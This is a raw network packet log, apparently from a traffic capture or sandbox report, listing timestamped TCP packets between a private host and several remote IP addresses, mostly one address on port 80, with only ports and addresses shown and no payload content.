Nov 18, 2024 00:27:55.887861967 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.887873888 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.887875080 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.887887001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.887897968 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.887901068 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.887912989 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.887927055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.887933969 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.887952089 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.888420105 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.888475895 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.888487101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.888499022 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.888514042 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.888545036 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.888583899 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.888595104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.888606071 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.888618946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.888628006 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.888629913 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.888642073 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.888643026 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.888654947 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.888668060 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.888673067 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.888679981 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.888701916 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.888717890 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.890403032 CET	443	50004	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.891360998 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.891416073 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.891427994 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.891432047 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.891442060 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.891453028 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.891454935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.891474009 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.891510010 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.893445015 CET	50013	443	192.168.2.6	23.198.7.179
Nov 18, 2024 00:27:55.893482924 CET	443	50013	23.198.7.179	192.168.2.6
Nov 18, 2024 00:27:55.893562078 CET	50013	443	192.168.2.6	23.198.7.179
Nov 18, 2024 00:27:55.893841028 CET	50013	443	192.168.2.6	23.198.7.179
Nov 18, 2024 00:27:55.893858910 CET	443	50013	23.198.7.179	192.168.2.6
Nov 18, 2024 00:27:55.893965006 CET	50004	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.893987894 CET	443	50004	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.894645929 CET	50004	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.894651890 CET	443	50004	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.895261049 CET	50014	443	192.168.2.6	20.125.209.212
Nov 18, 2024 00:27:55.895296097 CET	443	50014	20.125.209.212	192.168.2.6
Nov 18, 2024 00:27:55.895323992 CET	443	50003	20.96.153.111	192.168.2.6
Nov 18, 2024 00:27:55.895365000 CET	50014	443	192.168.2.6	20.125.209.212
Nov 18, 2024 00:27:55.895781994 CET	50014	443	192.168.2.6	20.125.209.212
Nov 18, 2024 00:27:55.895791054 CET	443	50014	20.125.209.212	192.168.2.6
Nov 18, 2024 00:27:55.923439026 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.923516989 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.924613953 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.924663067 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.927819014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.927889109 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.928153992 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.928208113 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.003071070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003082991 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003093004 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003106117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003117085 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003129005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003143072 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.003195047 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.003279924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003289938 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003321886 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.003357887 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003369093 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003381014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003391981 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003403902 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.003436089 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003436089 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.003446102 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003457069 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003469944 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.003498077 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.003531933 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003541946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003560066 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003568888 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.003586054 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003598928 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.003635883 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.003710985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003720999 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003731966 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003743887 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003757000 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.003761053 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003776073 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003787041 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003798962 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003804922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003810883 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003818035 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.003832102 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.003853083 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.003873110 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003911018 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003921032 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003931999 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003943920 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003945112 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.003954887 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.003968000 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.003997087 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004024982 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004035950 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004055023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004065990 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004069090 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004080057 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004105091 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004118919 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004131079 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004142046 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004153967 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004164934 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004196882 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004209995 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004219055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004230022 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004241943 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004255056 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004272938 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004288912 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004303932 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004317045 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004328966 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004338026 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004340887 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004352093 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004362106 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004398108 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004429102 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004441023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004442930 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004452944 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004475117 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004496098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004499912 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004507065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004518032 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004530907 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004534006 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004543066 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004560947 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004578114 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004638910 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004651070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004688025 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004767895 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004780054 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004791975 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004803896 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004808903 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004816055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004836082 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004862070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004863024 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004873037 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004884005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004904032 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004904032 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004915953 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004916906 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004936934 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004942894 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.004949093 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004961967 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004971027 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.004977942 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.005008936 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.005177021 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.005187035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.005198002 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.005209923 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.005220890 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.005223036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.005234003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.005239964 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.005245924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.005270004 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.005295992 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.005352020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.005362034 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.005373955 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.005386114 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.005398035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.005399942 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.005409956 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.005433083 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.005450964 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.005460978 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.005634069 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.006278992 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.006357908 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.007993937 CET	443	50005	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.008059978 CET	443	50005	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.008141994 CET	50005	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.008378983 CET	50005	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.008400917 CET	443	50005	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.008414984 CET	50005	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.008423090 CET	443	50005	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.011820078 CET	50015	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.011851072 CET	443	50015	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.012043953 CET	50015	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.012202024 CET	50015	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.012219906 CET	443	50015	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.023555040 CET	443	50004	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.023583889 CET	443	50004	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.023628950 CET	443	50004	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.023642063 CET	50004	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.023683071 CET	50004	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.023860931 CET	50004	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.023878098 CET	443	50004	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.023889065 CET	50004	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.023894072 CET	443	50004	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.030268908 CET	50016	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.030311108 CET	443	50016	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.030636072 CET	50016	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.030636072 CET	50016	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.030667067 CET	443	50016	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.035921097 CET	443	50003	20.96.153.111	192.168.2.6
Nov 18, 2024 00:27:56.035964966 CET	443	50003	20.96.153.111	192.168.2.6
Nov 18, 2024 00:27:56.036052942 CET	50003	443	192.168.2.6	20.96.153.111
Nov 18, 2024 00:27:56.036066055 CET	443	50003	20.96.153.111	192.168.2.6
Nov 18, 2024 00:27:56.036618948 CET	50003	443	192.168.2.6	20.96.153.111
Nov 18, 2024 00:27:56.036719084 CET	443	50003	20.96.153.111	192.168.2.6
Nov 18, 2024 00:27:56.036823034 CET	50003	443	192.168.2.6	20.96.153.111
Nov 18, 2024 00:27:56.044969082 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.044981003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.044992924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.045006037 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.045037031 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.045077085 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.103116035 CET	443	50006	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.103801012 CET	50006	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.103822947 CET	443	50006	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.104324102 CET	50006	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.104329109 CET	443	50006	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.120070934 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120140076 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120151043 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120163918 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120176077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120189905 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.120189905 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.120234966 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.120242119 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120259047 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120285034 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.120379925 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120390892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120435953 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.120451927 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120462894 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120472908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120497942 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.120516062 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.120543003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120553970 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120564938 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120574951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120595932 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120599031 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.120605946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120615959 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120623112 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.120628119 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120640993 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.120661974 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.120682955 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120693922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120706081 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120712996 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.120717049 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120729923 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120740891 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120745897 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.120775938 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.120815992 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120826006 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120836973 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120851040 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120862007 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120872974 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120877981 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.120877981 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.120886087 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.120908976 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.120928049 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.120999098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121010065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121021032 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121046066 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.121047020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121066093 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121071100 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.121078014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121088028 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121100903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121119022 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.121145964 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.121184111 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121195078 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121206999 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121244907 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.121259928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121279955 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121289015 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.121289015 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.121318102 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121325970 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.121329069 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121340990 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121346951 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.121351957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121364117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121371031 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.121375084 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121386051 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121401072 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.121433973 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.121464014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121474028 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121486902 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121515036 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.121526003 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.121593952 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121611118 CET	80	49889	185.215.113.206	192.168.2.6
